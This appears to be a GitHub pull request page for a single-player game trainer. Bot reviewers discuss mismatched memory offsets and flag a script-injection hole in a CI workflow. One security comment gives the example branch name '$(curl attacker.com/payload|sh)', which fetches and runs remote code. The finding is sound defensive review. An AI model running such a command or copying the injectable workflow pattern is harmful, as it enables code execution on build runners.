Duplication 0 (≤ 0 duplication)

View in Codacy

TIP This summary will be updated as you push new changes. Give us feedback

Comment on lines +66 to +75
"hero_respawn_timer": 11495920,
"unit_cap": 2804047,
"game_speed": 0
"game_speed": 0,
"player_array_global": 10579952,
"player_count_global": 10579960,
"default_hero_respawn_time_global": 11495920,
"add_credits_func": 2618224,
"set_tech_level_func": 2689408,
"set_speed_override_func": 3837072,
"clear_speed_override_func": 3733168
Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Action required

1. No test evidence for offsets 📘 Rule violation ☼ Reliability

This PR changes runtime profile behavior (new signatures and updated fallback offsets) but does not
include deterministic test evidence or an explicit, justified testing-skip statement. Without
repeatable artifacts, the reliability of the new offsets/signatures cannot be verified
independently.
Agent Prompt
## Issue description
Runtime-profile changes (new AOB signatures and fallback offsets) were made without deterministic test evidence and without an explicit, justified statement that testing was skipped.

## Issue Context
This PR modifies live-process symbol resolution inputs (AOB patterns and fallback offsets), which can silently fail or mis-resolve without repeatable validation artifacts.

## Fix Focus Areas
- profiles/default/profiles/base_swfoc.json[66-75]
- TestResults/runs/<newRunId>/repro-bundle.json[1-99999]
- TestResults/runs/<newRunId>/repro-bundle.md[1-99999]

ⓘ Copy this prompt and use it to remediate the issue with your preferred AI generation tools

Comment on lines +66 to +71
"hero_respawn_timer": 11495920,
"unit_cap": 2804047,
"game_speed": 0
"game_speed": 0,
"player_array_global": 10579952,
"player_count_global": 10579960,
"default_hero_respawn_time_global": 11495920,
Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Action required

2. Wrong respawn fallback rva 🐞 Bug ≡ Correctness

The profile sets hero_respawn_timer (and default_hero_respawn_time_global) fallbackOffsets to
11495920 while the PR’s own RE docs/pack state the RVA is 0xB169F0; 0xB169F0 converts to 11626992,
so the fallback will resolve the wrong address when signatures miss.
Agent Prompt
### Issue description
`hero_respawn_timer` fallback offset is inconsistent with the stated RVA `0xB169F0` and appears to be the wrong decimal conversion, which will make fallback resolution point to the wrong address.

### Issue Context
Fallback offsets are resolved as `moduleBase + offset` (module-relative RVA). A wrong decimal value will cause incorrect reads/writes for Memory actions like `set_hero_respawn_timer`.

### Fix Focus Areas
- profiles/default/profiles/base_swfoc.json[66-71]
- docs/re_integration_plan.md[67-76]
- profiles/default/sdk/re-knowledge/signatures_phase2_editor_format.json[34-49]
- profiles/default/sdk/re-knowledge/signatures_phase2_editor_format.json[112-115]

### What to change
- Replace `11495920` with the correct decimal value for `0xB169F0` (11626992) everywhere this RVA is represented (profile fallbackOffsets + doc + reference pack), so all sources agree.

ⓘ Copy this prompt and use it to remediate the issue with your preferred AI generation tools

Copy link
Copy Markdown

@coderabbitai coderabbitai Bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Actionable comments posted: 5

🧹 Nitpick comments (1)
profiles/default/profiles/base_swfoc.json (1)

17-20: Removing tactical modes from experimentalFeatures has no runtime effect.

The toggle_tactical_god_mode and toggle_tactical_one_hit_mode actions are gated by StrictBundleActions in ActionReliabilityService.cs (lines 48-49, checked at line 160), not by the ExperimentalFeatures array. The profile's ExperimentalFeatures property is merged during profile loading but never read afterwards, making it informational-only.

If the intent is to promote these features to "stable," remove them from StrictBundleActions in ActionReliabilityService.cs instead, or document that the experimentalFeatures array serves only for metadata/documentation purposes.

🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In `@profiles/default/profiles/base_swfoc.json` around lines 17 - 20, The
ExperimentalFeatures array in the profile is purely informational and removing
entries (e.g., "game_speed", "planet_owner") doesn't change runtime behavior;
the actions toggle_tactical_god_mode and toggle_tactical_one_hit_mode are
actually gated by the StrictBundleActions collection in ActionReliabilityService
(check methods around lines that reference StrictBundleActions and the action
checks), so to make those tactical modes truly "stable" remove their action IDs
from StrictBundleActions in ActionReliabilityService.cs (or alternatively add
documentation noting ExperimentalFeatures is metadata-only); update the
StrictBundleActions list to omit "toggle_tactical_god_mode" and
"toggle_tactical_one_hit_mode" if you want runtime enabling.
🤖 Prompt for all review comments with AI agents
Verify each finding against the current code and only fix it if needed.

Inline comments:
In `@docs/re_integration_plan.md`:
- Around line 161-170: The quick-win table's hero_respawn_timer fallback has the
wrong decimal conversion: replace the incorrect decimal value `11495920` in the
table and any related profile JSON example with the correct decimal equivalent
for 0xB169F0, which is `11626992`; update the entry labelled "Fix
hero_respawn_timer fallback" and any references to the hex/decimal pair so the
table and profile JSON consistently use `0xB169F0` -> `11626992`.
- Around line 69-76: The documentation and JSON signature file contain an
incorrect decimal conversion for 0xB169F0; update the decimal value from
11495920 to the correct 11626992 wherever referenced (e.g., in the
hero_respawn_timer doc text, the Default_Hero_Respawn_Time global description
and the signatures_phase2_editor_format.json fallback offset entry), then re-run
any AOB validation (ScheduleHeroRespawn/AOB pattern) to ensure the pattern still
matches after the corrected numeric value.

In `@profiles/default/profiles/base_swfoc.json`:
- Line 75: Update the two mismatched function offsets in the base profile JSON:
change clear_speed_override_func from 3733168 to 3733680 and set_tech_level_func
from 2689408 to 2656640 so they match the authoritative values in
signatures_phase2_editor_format.json; locate the keys clear_speed_override_func
and set_tech_level_func in the base_swfoc profile and replace their numeric
values accordingly.

In `@profiles/default/sdk/re-knowledge/signatures_phase2_editor_format.json`:
- Around line 34-43: The fallback offset for set_tech_level_func is inconsistent
between configs; update the value in base_swfoc.json (the entry named
"set_tech_level_func") from 2689408 to 2656640 so it matches
signatures_phase2_editor_format.json and the RE integration plan’s RVA for
SetTechLevel; locate the "set_tech_level_func" key in base_swfoc.json and
replace the numeric offset with 2656640.
- Around line 112-115: The Decimal/Hex mismatch for Default_Hero_Respawn_Time
needs correction: verify the authoritative RE finding and then make consistent
updates—if the RVA 0xB169F0 is correct, change the decimal value to 11626992 and
update the corresponding entries hero_respawn_timer and
default_hero_respawn_time_global in base_swfoc.json to that same decimal; if the
decimal 11495920 is correct, change the rva to 0xAF6DF0 and likewise update
hero_respawn_timer and default_hero_respawn_time_global to 11495920 so all three
references (rva in signatures_phase2_editor_format.json and the two parameters
in base_swfoc.json) match the verified value.

---

Nitpick comments:
In `@profiles/default/profiles/base_swfoc.json`:
- Around line 17-20: The ExperimentalFeatures array in the profile is purely
informational and removing entries (e.g., "game_speed", "planet_owner") doesn't
change runtime behavior; the actions toggle_tactical_god_mode and
toggle_tactical_one_hit_mode are actually gated by the StrictBundleActions
collection in ActionReliabilityService (check methods around lines that
reference StrictBundleActions and the action checks), so to make those tactical
modes truly "stable" remove their action IDs from StrictBundleActions in
ActionReliabilityService.cs (or alternatively add documentation noting
ExperimentalFeatures is metadata-only); update the StrictBundleActions list to
omit "toggle_tactical_god_mode" and "toggle_tactical_one_hit_mode" if you want
runtime enabling.
🪄 Autofix (Beta)

Fix all unresolved CodeRabbit comments on this PR:

  • Push a commit to this branch (recommended)
  • Create a new PR with the fixes

ℹ️ Review info
⚙️ Run configuration

Configuration used: defaults

Review profile: CHILL

Plan: Pro

Run ID: 17ab99c3-cf7f-42a3-b3c0-463cbca4890a

📥 Commits

Reviewing files that changed from the base of the PR and between da78971 and 14705e6.

📒 Files selected for processing (3)
  • docs/re_integration_plan.md
  • profiles/default/profiles/base_swfoc.json
  • profiles/default/sdk/re-knowledge/signatures_phase2_editor_format.json

Comment on lines +69 to +76
**Current state:** Has signature `hero_respawn_timer` with AOB, fallback offset `1384560` (0x152070).

**RE finding:** `Default_Hero_Respawn_Time` global at RVA `0xB169F0` (11495920 decimal). The `ScheduleHeroRespawn` function reads this when delay<=0.

**Mismatch:** Fallback offset `0x152070` does NOT match RE finding `0xB169F0`. **The current offset appears wrong.** Needs validation.

**Recommendation:** Update fallback offset to `11495920` (0xB169F0). Verify AOB pattern still matches.

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

⚠️ Potential issue | 🟡 Minor

Hex-to-decimal conversion error in documentation.

Line 71 states 0xB169F0 equals 11495920 decimal, but 0xB169F0 actually equals 11626992. This is the same error present in signatures_phase2_editor_format.json. Correct the decimal value to maintain consistency.

📝 Proposed fix
-**RE finding:** `Default_Hero_Respawn_Time` global at RVA `0xB169F0` (11495920 decimal). The `ScheduleHeroRespawn` function reads this when delay<=0.
+**RE finding:** `Default_Hero_Respawn_Time` global at RVA `0xB169F0` (11626992 decimal). The `ScheduleHeroRespawn` function reads this when delay<=0.
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In `@docs/re_integration_plan.md` around lines 69 - 76, The documentation and JSON
signature file contain an incorrect decimal conversion for 0xB169F0; update the
decimal value from 11495920 to the correct 11626992 wherever referenced (e.g.,
in the hero_respawn_timer doc text, the Default_Hero_Respawn_Time global
description and the signatures_phase2_editor_format.json fallback offset entry),
then re-run any AOB validation (ScheduleHeroRespawn/AOB pattern) to ensure the
pattern still matches after the corrected numeric value.

Comment on lines +161 to +170
| Rank | Change | Effort | Impact | What to Do |
|------|--------|--------|--------|------------|
| 1 | Fix hero_respawn_timer fallback | 5 min | High | Change `1384560` to `11495920` in profile JSON |
| 2 | Promote god_mode/one_hit from experimental | 5 min | Medium | Remove from `experimentalFeatures` in profile JSON |
| 3 | Add tech_level signature + fallback | 30 min | High | New signature entry + new action in profile JSON |
| 4 | Add credits_authoritative action | 1 hr | High | New action using PlayerArray pointer chain |
| 5 | Add speed_override action | 1 hr | High | New action using locomotor pointer chain |
| 6 | Add max_credits action | 30 min | Medium | PlayerObject+0x74 float write (same chain as credits) |
| 7 | Add income_multiplier action | 1 hr | Medium | New signature + float write |
| 8 | Generate Ghidra Symbol Pack | 30 min | High | Convert all known RVAs to GhidraAnchorDto format |
Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

⚠️ Potential issue | 🟡 Minor

Quick-win table uses incorrect decimal value.

If 0xB169F0 is the correct RVA (as stated throughout the document), the target value in row 1 should be 11626992, not 11495920. Align this with the corrected hex-to-decimal conversion.

🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In `@docs/re_integration_plan.md` around lines 161 - 170, The quick-win table's
hero_respawn_timer fallback has the wrong decimal conversion: replace the
incorrect decimal value `11495920` in the table and any related profile JSON
example with the correct decimal equivalent for 0xB169F0, which is `11626992`;
update the entry labelled "Fix hero_respawn_timer fallback" and any references
to the hex/decimal pair so the table and profile JSON consistently use
`0xB169F0` -> `11626992`.

"add_credits_func": 2618224,
"set_tech_level_func": 2689408,
"set_speed_override_func": 3837072,
"clear_speed_override_func": 3733168
Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

⚠️ Potential issue | 🟠 Major

🧩 Analysis chain

🏁 Script executed:

#!/bin/bash
# Compare clear_speed_override_func values between files
echo "=== base_swfoc.json ==="
grep "clear_speed_override_func" profiles/default/profiles/base_swfoc.json

echo ""
echo "=== signatures_phase2_editor_format.json ==="
grep "clear_speed_override_func" profiles/default/sdk/re-knowledge/signatures_phase2_editor_format.json

Repository: Prekzursil/SWFOC-Mod-Menu

Length of output: 221


🏁 Script executed:

#!/bin/bash
# Check file sizes and structure
echo "=== File details ==="
ls -lh profiles/default/profiles/base_swfoc.json profiles/default/sdk/re-knowledge/signatures_phase2_editor_format.json

# Check if there's any context around the offset in the files
echo ""
echo "=== Context around clear_speed_override_func in base_swfoc.json ==="
grep -B 2 -A 2 "clear_speed_override_func" profiles/default/profiles/base_swfoc.json

echo ""
echo "=== Context around clear_speed_override_func in signatures_phase2_editor_format.json ==="
grep -B 2 -A 2 "clear_speed_override_func" profiles/default/sdk/re-knowledge/signatures_phase2_editor_format.json

# Check if there's any README or documentation
echo ""
echo "=== Looking for documentation files ==="
find profiles/default -name "*.md" -o -name "README*" | head -10

Repository: Prekzursil/SWFOC-Mod-Menu

Length of output: 949


🏁 Script executed:

#!/bin/bash
# Check git history for these files to understand when values changed
echo "=== Recent commits for base_swfoc.json ==="
git log --oneline -10 -- profiles/default/profiles/base_swfoc.json 2>/dev/null || echo "Git history not available"

echo ""
echo "=== Recent commits for signatures_phase2_editor_format.json ==="
git log --oneline -10 -- profiles/default/sdk/re-knowledge/signatures_phase2_editor_format.json 2>/dev/null || echo "Git history not available"

# Check if there are other references to these offset values
echo ""
echo "=== Search for 3733168 (base_swfoc value) ==="
rg "3733168" --type json

echo ""
echo "=== Search for 3733680 (signatures value) ==="
rg "3733680" --type json

Repository: Prekzursil/SWFOC-Mod-Menu

Length of output: 588


Multiple function offset inconsistencies between profile files.

clear_speed_override_func has mismatched values: 3733168 in base_swfoc.json vs 3733680 in signatures_phase2_editor_format.json. Additionally, set_tech_level_func differs (2689408 vs 2656640). Both files were updated in the same Phase 2 RE corrections commit but were not properly synchronized. Update base_swfoc.json to match the offsets from signatures_phase2_editor_format.json, which appears to be the authoritative RE reference.

🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In `@profiles/default/profiles/base_swfoc.json` at line 75, Update the two
mismatched function offsets in the base profile JSON: change
clear_speed_override_func from 3733168 to 3733680 and set_tech_level_func from
2689408 to 2656640 so they match the authoritative values in
signatures_phase2_editor_format.json; locate the keys clear_speed_override_func
and set_tech_level_func in the base_swfoc profile and replace their numeric
values accordingly.

Comment on lines +34 to +43
"new_fallback_offsets": {
"add_credits_func": 2618224,
"set_tech_level_func": 2656640,
"set_speed_override_func": 3837072,
"clear_speed_override_func": 3733680,
"schedule_hero_respawn_func": 4778768,
"player_array_global": 10579952,
"player_count_global": 10579960,
"default_hero_respawn_time": 11626992
},
Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

⚠️ Potential issue | 🟠 Major

🧩 Analysis chain

🏁 Script executed:

#!/bin/bash
# Verify the set_tech_level_func offset values in both files
echo "=== signatures_phase2_editor_format.json ==="
cat profiles/default/sdk/re-knowledge/signatures_phase2_editor_format.json | grep -A1 "set_tech_level_func"

echo ""
echo "=== base_swfoc.json ==="
cat profiles/default/profiles/base_swfoc.json | grep "set_tech_level_func"

echo ""
echo "=== RE integration plan reference ==="
grep -i "SetTechLevel" docs/re_integration_plan.md | head -5

Repository: Prekzursil/SWFOC-Mod-Menu

Length of output: 1001


Align set_tech_level_func fallback offset in base_swfoc.json.

signatures_phase2_editor_format.json line 37 specifies set_tech_level_func: 2656640 (0x288980), which matches the RE integration plan's documented RVA for SetTechLevel. However, base_swfoc.json line 73 uses a different value: 2689408 (0x290D80). Update base_swfoc.json to use 2656640 to align with the authoritative RE plan reference and the other configuration file.

🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In `@profiles/default/sdk/re-knowledge/signatures_phase2_editor_format.json`
around lines 34 - 43, The fallback offset for set_tech_level_func is
inconsistent between configs; update the value in base_swfoc.json (the entry
named "set_tech_level_func") from 2689408 to 2656640 so it matches
signatures_phase2_editor_format.json and the RE integration plan’s RVA for
SetTechLevel; locate the "set_tech_level_func" key in base_swfoc.json and
replace the numeric offset with 2656640.

Comment on lines +112 to +115
"Default_Hero_Respawn_Time": {
"rva": "0xB169F0",
"decimal": 11495920
}
Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

⚠️ Potential issue | 🟠 Major

Hex-to-decimal mismatch in Default_Hero_Respawn_Time reference.

The rva field shows 0xB169F0 but the decimal field shows 11495920. These don't match:

  • 0xB169F0 = 11626992 (not 11495920)
  • 11495920 = 0xAF6DF0 (not 0xB169F0)

This inconsistency propagates to base_swfoc.json which uses 11495920 for both hero_respawn_timer and default_hero_respawn_time_global. One of these values is incorrect—verify against the RE findings which value is authoritative.

🐛 If 0xB169F0 is correct, fix the decimal value
     "Default_Hero_Respawn_Time": {
       "rva": "0xB169F0",
-      "decimal": 11495920
+      "decimal": 11626992
     }

And correspondingly update base_swfoc.json:

-    "hero_respawn_timer": 11495920,
+    "hero_respawn_timer": 11626992,
     ...
-    "default_hero_respawn_time_global": 11495920,
+    "default_hero_respawn_time_global": 11626992,
📝 Committable suggestion

‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.

Suggested change
"Default_Hero_Respawn_Time": {
"rva": "0xB169F0",
"decimal": 11495920
}
"Default_Hero_Respawn_Time": {
"rva": "0xB169F0",
"decimal": 11626992
}
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In `@profiles/default/sdk/re-knowledge/signatures_phase2_editor_format.json`
around lines 112 - 115, The Decimal/Hex mismatch for Default_Hero_Respawn_Time
needs correction: verify the authoritative RE finding and then make consistent
updates—if the RVA 0xB169F0 is correct, change the decimal value to 11626992 and
update the corresponding entries hero_respawn_timer and
default_hero_respawn_time_global in base_swfoc.json to that same decimal; if the
decimal 11495920 is correct, change the rva to 0xAF6DF0 and likewise update
hero_respawn_timer and default_hero_respawn_time_global to 11495920 so all three
references (rva in signatures_phase2_editor_format.json and the two parameters
in base_swfoc.json) match the verified value.

…rity alerts

1. Upgrade coverlet from 6.0.4 to 6.0.5 — fixes "Unable to read
   beyond the end of the stream" crash in coverage calculation that
   was blocking the Coverage 100 Gate on Windows runners

2. Fix SonarCloud workflow to pass PR parameters (pullrequest.key,
   pullrequest.branch, pullrequest.base) so SonarCloud associates
   analysis with the correct PR instead of returning 404

3. Fix 3 high-severity npm vulnerabilities in tools/visual-chromatic:
   - lodash Code Injection via _.template (GHSA-r5fr-rjxr-66jc)
   - lodash Prototype Pollution (GHSA-f23m-r3pf-42rh)
   - Storybook WebSocket Hijacking (GHSA-mjf5-7g4m-gx5w)
   - Storybook env var exposure (GHSA-8452-54wp-rmv6)

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
@ecc-tools
Copy link
Copy Markdown

ecc-tools Bot commented Apr 3, 2026

Analyzing 200 commits...

@ecc-tools
Copy link
Copy Markdown

ecc-tools Bot commented Apr 3, 2026

Analysis Complete

Generated ECC bundle from 2 commits | Confidence: 50%

View Pull Request #121

Repository Profile
Attribute Value
Language TypeScript
Framework Not detected
Commit Convention conventional
Test Directory separate
Generated Instincts (14)
Domain Count
git 3
code-style 9
testing 2

After merging, import with:

/instinct-import .claude/homunculus/instincts/inherited/SWFOC-Mod-Menu-instincts.yaml

Files

  • .claude/ecc-tools.json
  • .claude/skills/SWFOC-Mod-Menu/SKILL.md
  • .agents/skills/SWFOC-Mod-Menu/SKILL.md
  • .agents/skills/SWFOC-Mod-Menu/agents/openai.yaml
  • .claude/identity.json
  • .codex/config.toml
  • .codex/AGENTS.md
  • .codex/agents/explorer.toml
  • .codex/agents/reviewer.toml
  • .codex/agents/docs-researcher.toml
  • .claude/homunculus/instincts/inherited/SWFOC-Mod-Menu-instincts.yaml

ECC Tools | Everything Claude Code

/d:sonar.host.url="https://sonarcloud.io"
SONAR_ARGS="/k:Prekzursil_SWFOC-Mod-Menu /o:prekzursil /d:sonar.token=$SONAR_TOKEN /d:sonar.host.url=https://sonarcloud.io"
if [ "${{ github.event_name }}" = "pull_request" ]; then
SONAR_ARGS="$SONAR_ARGS /d:sonar.pullrequest.key=${{ github.event.pull_request.number }} /d:sonar.pullrequest.branch=${{ github.head_ref }} /d:sonar.pullrequest.base=${{ github.base_ref }}"

Check failure

Code scanning / SonarCloud

GitHub Actions should not be vulnerable to script injections High

The expression github.head\_ref can be set by an external actor to a specially crafted value, enabling script injection. Change this workflow to not use user-controlled data directly in a run block, for example by assigning this expression to an environment variable. See more on SonarQube Cloud
Copy link
Copy Markdown

@coderabbitai coderabbitai Bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Actionable comments posted: 1

🤖 Prompt for all review comments with AI agents
Verify each finding against the current code and only fix it if needed.

Inline comments:
In @.github/workflows/sonarcloud.yml:
- Around line 51-55: The workflow is vulnerable because github.head_ref and
github.base_ref are interpolated directly into SONAR_ARGS, enabling command
injection; fix by moving those PR values into GitHub Actions environment
variables (e.g., set env entries like PR_HEAD and PR_BASE using ${{
github.head_ref }} and ${{ github.base_ref }}), then append them to SONAR_ARGS
using the env variable names (not direct `${{ }}`) so the shell only sees safe,
escaped values; update the SONAR_ARGS construction and the dotnet-sonarscanner
begin invocation to reference the env vars (e.g.,
/d:sonar.pullrequest.branch=$PR_HEAD /d:sonar.pullrequest.base=$PR_BASE) and
ensure arguments are quoted to avoid word-splitting.
🪄 Autofix (Beta)

Fix all unresolved CodeRabbit comments on this PR:

  • Push a commit to this branch (recommended)
  • Create a new PR with the fixes

ℹ️ Review info
⚙️ Run configuration

Configuration used: defaults

Review profile: CHILL

Plan: Pro

Run ID: 6b4d6b55-b2d8-49fa-98bd-fa269b65d13e

📥 Commits

Reviewing files that changed from the base of the PR and between 14705e6 and eef6c0b.

⛔ Files ignored due to path filters (1)
  • tools/visual-chromatic/package-lock.json is excluded by !**/package-lock.json
📒 Files selected for processing (3)
  • .github/workflows/sonarcloud.yml
  • tests/SwfocTrainer.Tests/SwfocTrainer.Tests.csproj
  • tools/visual-chromatic/package.json
✅ Files skipped from review due to trivial changes (2)
  • tools/visual-chromatic/package.json
  • tests/SwfocTrainer.Tests/SwfocTrainer.Tests.csproj

Comment on lines +51 to +55
SONAR_ARGS="/k:Prekzursil_SWFOC-Mod-Menu /o:prekzursil /d:sonar.token=$SONAR_TOKEN /d:sonar.host.url=https://sonarcloud.io"
if [ "${{ github.event_name }}" = "pull_request" ]; then
SONAR_ARGS="$SONAR_ARGS /d:sonar.pullrequest.key=${{ github.event.pull_request.number }} /d:sonar.pullrequest.branch=${{ github.head_ref }} /d:sonar.pullrequest.base=${{ github.base_ref }}"
fi
dotnet-sonarscanner begin $SONAR_ARGS
Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

⚠️ Potential issue | 🔴 Critical

Script injection vulnerability via user-controlled branch names.

github.head_ref and github.base_ref are attacker-controlled values (anyone can open a PR from a maliciously-named branch like $(curl attacker.com/payload|sh)). Interpolating them directly into the run block allows arbitrary command execution.

Pass these values through environment variables instead, which GitHub Actions automatically escapes:

🔒 Proposed fix using environment variables
       env:
         SONAR_TOKEN: ${{ secrets.SONAR_TOKEN }}
+        PR_NUMBER: ${{ github.event.pull_request.number }}
+        PR_HEAD_REF: ${{ github.head_ref }}
+        PR_BASE_REF: ${{ github.base_ref }}
+        EVENT_NAME: ${{ github.event_name }}
       run: |
-        SONAR_ARGS="/k:Prekzursil_SWFOC-Mod-Menu /o:prekzursil /d:sonar.token=$SONAR_TOKEN /d:sonar.host.url=https://sonarcloud.io"
-        if [ "${{ github.event_name }}" = "pull_request" ]; then
-          SONAR_ARGS="$SONAR_ARGS /d:sonar.pullrequest.key=${{ github.event.pull_request.number }} /d:sonar.pullrequest.branch=${{ github.head_ref }} /d:sonar.pullrequest.base=${{ github.base_ref }}"
+        SONAR_ARGS="/k:Prekzursil_SWFOC-Mod-Menu /o:prekzursil /d:sonar.token=$SONAR_TOKEN /d:sonar.host.url=https://sonarcloud.io"
+        if [ "$EVENT_NAME" = "pull_request" ]; then
+          SONAR_ARGS="$SONAR_ARGS /d:sonar.pullrequest.key=$PR_NUMBER /d:sonar.pullrequest.branch=$PR_HEAD_REF /d:sonar.pullrequest.base=$PR_BASE_REF"
         fi
         dotnet-sonarscanner begin $SONAR_ARGS
🧰 Tools
🪛 GitHub Check: SonarCloud

[failure] 53-53: GitHub Actions should not be vulnerable to script injections

The expression github.head_ref can be set by an external actor to a specially crafted value, enabling script injection. Change this workflow to not use user-controlled data directly in a run block, for example by assigning this expression to an environment variable.

See more on SonarQube Cloud

🪛 GitHub Check: SonarCloud Code Analysis

[failure] 53-53: The expression github.head_ref can be set by an external actor to a specially crafted value, enabling script injection. Change this workflow to not use user-controlled data directly in a run block, for example by assigning this expression to an environment variable.

See more on https://sonarcloud.io/project/issues?id=Prekzursil_SWFOC-Mod-Menu&issues=AZ1VsiWshfkhwAWlnbRZ&open=AZ1VsiWshfkhwAWlnbRZ&pullRequest=119

🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In @.github/workflows/sonarcloud.yml around lines 51 - 55, The workflow is
vulnerable because github.head_ref and github.base_ref are interpolated directly
into SONAR_ARGS, enabling command injection; fix by moving those PR values into
GitHub Actions environment variables (e.g., set env entries like PR_HEAD and
PR_BASE using ${{ github.head_ref }} and ${{ github.base_ref }}), then append
them to SONAR_ARGS using the env variable names (not direct `${{ }}`) so the
shell only sees safe, escaped values; update the SONAR_ARGS construction and the
dotnet-sonarscanner begin invocation to reference the env vars (e.g.,
/d:sonar.pullrequest.branch=$PR_HEAD /d:sonar.pullrequest.base=$PR_BASE) and
ensure arguments are quoted to avoid word-splitting.

Copy link
Copy Markdown

@chatgpt-codex-connector chatgpt-codex-connector Bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

💡 Codex Review

Here are some automated review suggestions for this pull request.

Reviewed commit: eef6c0b072

ℹ️ About Codex in GitHub

Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you

  • Open a pull request for review
  • Mark a draft as ready
  • Comment "@codex review".

If Codex has suggestions, it will comment; otherwise it will react with 👍.

Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".

Comment on lines +53 to +55
SONAR_ARGS="$SONAR_ARGS /d:sonar.pullrequest.key=${{ github.event.pull_request.number }} /d:sonar.pullrequest.branch=${{ github.head_ref }} /d:sonar.pullrequest.base=${{ github.base_ref }}"
fi
dotnet-sonarscanner begin $SONAR_ARGS
Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P1 Badge Escape PR refs before passing Sonar args to shell

This PR appends ${{ github.head_ref }} and ${{ github.base_ref }} directly into a double-quoted Bash string and then executes dotnet-sonarscanner begin $SONAR_ARGS, which allows a branch name containing shell expansions (for example $VAR or $(...)) to be re-evaluated by the runner. In pull_request jobs this can execute unintended commands in the CI context (including jobs with SONAR_TOKEN), so these refs should be passed via a safely quoted mechanism (e.g., Bash array arguments or pre-escaped env vars).

Useful? React with 👍 / 👎.

The secrets preflight was failing because CHROMATIC_PROJECT_TOKEN,
APPLITOOLS_API_KEY, and CODEX_AUTH_JSON were not being forwarded
from the caller workflow to the reusable scanner matrix. The secrets
exist in the repo but weren't in the secrets: block.

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
@ecc-tools
Copy link
Copy Markdown

ecc-tools Bot commented Apr 3, 2026

Analyzing 200 commits...

Test files use repetitive setup/assert patterns by design (xUnit).
Utility scripts have inherent complexity from CLI option handling.
Neither should block the QLTY Zero quality gate.

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
@ecc-tools
Copy link
Copy Markdown

ecc-tools Bot commented Apr 3, 2026

Analysis Complete

Generated ECC bundle from 3 commits | Confidence: 50%

View Pull Request #122

Repository Profile
Attribute Value
Language TypeScript
Framework Not detected
Commit Convention conventional
Test Directory separate
Detected Workflows (1)
Workflow Description
ci-pipeline-fix-and-maintenance Fixes and maintains CI pipeline workflows, including coverage, secrets, and integration with external analysis tools.
Generated Instincts (17)
Domain Count
git 4
code-style 9
testing 2
workflow 2

After merging, import with:

/instinct-import .claude/homunculus/instincts/inherited/SWFOC-Mod-Menu-instincts.yaml

Files

  • .claude/ecc-tools.json
  • .claude/skills/SWFOC-Mod-Menu/SKILL.md
  • .agents/skills/SWFOC-Mod-Menu/SKILL.md
  • .agents/skills/SWFOC-Mod-Menu/agents/openai.yaml
  • .claude/identity.json
  • .codex/config.toml
  • .codex/AGENTS.md
  • .codex/agents/explorer.toml
  • .codex/agents/reviewer.toml
  • .codex/agents/docs-researcher.toml
  • .claude/homunculus/instincts/inherited/SWFOC-Mod-Menu-instincts.yaml
  • .claude/commands/ci-pipeline-fix-and-maintenance.md

ECC Tools | Everything Claude Code

@ecc-tools
Copy link
Copy Markdown

ecc-tools Bot commented Apr 3, 2026

Analyzing 200 commits...

@ecc-tools
Copy link
Copy Markdown

ecc-tools Bot commented Apr 3, 2026

Analysis Complete

Generated ECC bundle from 4 commits | Confidence: 50%

View Pull Request #122

Repository Profile
Attribute Value
Language TypeScript
Framework Not detected
Commit Convention conventional
Test Directory separate
Detected Workflows (1)
Workflow Description
ci-workflow-fixes Fixes and improvements to CI workflows, including coverage, secrets, and integration with external quality/analysis tools.
Generated Instincts (16)
Domain Count
git 3
code-style 9
testing 2
workflow 2

After merging, import with:

/instinct-import .claude/homunculus/instincts/inherited/SWFOC-Mod-Menu-instincts.yaml

Files

  • .claude/ecc-tools.json
  • .claude/skills/SWFOC-Mod-Menu/SKILL.md
  • .agents/skills/SWFOC-Mod-Menu/SKILL.md
  • .agents/skills/SWFOC-Mod-Menu/agents/openai.yaml
  • .claude/identity.json
  • .codex/config.toml
  • .codex/AGENTS.md
  • .codex/agents/explorer.toml
  • .codex/agents/reviewer.toml
  • .codex/agents/docs-researcher.toml
  • .claude/homunculus/instincts/inherited/SWFOC-Mod-Menu-instincts.yaml
  • .claude/commands/ci-workflow-fixes.md

ECC Tools | Everything Claude Code

Copy link
Copy Markdown

@chatgpt-codex-connector chatgpt-codex-connector Bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

💡 Codex Review

Here are some automated review suggestions for this pull request.

Reviewed commit: 0291605091

ℹ️ About Codex in GitHub

Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you

  • Open a pull request for review
  • Mark a draft as ready
  • Comment "@codex review".

If Codex has suggestions, it will comment; otherwise it will react with 👍.

Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".

"player_count_global": 10579960,
"default_hero_respawn_time_global": 11495920,
